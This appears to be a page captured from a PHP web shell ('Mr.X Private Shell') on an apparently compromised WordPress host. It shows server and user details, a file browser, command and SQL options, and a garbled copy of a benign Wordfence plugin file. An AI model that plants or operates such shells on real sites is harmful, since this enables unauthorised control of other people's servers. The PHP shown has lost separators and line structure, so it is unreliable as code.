Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/////plugins/wordfence/lib///      ( Reset | Go to )
File Name: wfScanPath.php
Edit
<?php

require_once __DIR__ '/wfFileUtils.php';
require_once 
__DIR__ '/wfScanFile.php';
require_once 
__DIR__ '/wfScanFileLink.php';

class 
wfScanPath {

    private 
$baseDirectory;
    private 
$path;
    private 
$realPath;
    private 
$wordpressPath;
    private 
$expectedFiles;

    public function 
__construct($baseDirectory$path$wordpressPath null$expectedFiles null) {
        
$this->baseDirectory $baseDirectory;
        
$this->path $path;
        
$this->realPath wfFileUtils::realPath($path);
        
$this->wordpressPath $wordpressPath;
        
$this->expectedFiles is_array($expectedFiles) ? array_flip($expectedFiles) : null;
    }

    public function 
getPath() {
        return 
$this->path;
    }

    public function 
getRealPath() {
        return 
$this->realPath;
    }

    public function 
getWordpressPath() {
        return 
$this->wordpressPath;
    }

    public function 
hasExpectedFiles() {
        return 
$this->expectedFiles !== null && !empty($this->expectedFiles);
    }

    public function 
expectsFile($name) {
        return 
array_key_exists($name$this->expectedFiles);
    }

    public function 
isBaseDirectory() {
        return 
$this->path === $this->baseDirectory;
    }

    public function 
isBelowBaseDirectory() {
        return 
wfFileUtils::belongsTo($this->path$this->baseDirectory);
    }

    public function 
getContents() {
        return 
wfFileUtils::getContents($this->realPath);
    }

    public function 
createScanFile($relativePath) {
        
$path wfFileUtils::joinPaths($this->realPath$relativePath);
        
$realPath wfFileUtils::realPath($path);
        
$wordpressPath wfFileUtils::trimSeparators(wfFileUtils::joinPaths($this->wordpressPath$relativePath), truefalse);
        if (
is_link($path)) {
            return new 
wfScanFileLink($path$realPath$wordpressPath);
        }
        else {
            return new 
wfScanFile($realPath$wordpressPath);
        }
    }

    public function 
__toString() {
        return 
$this->realPath;
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL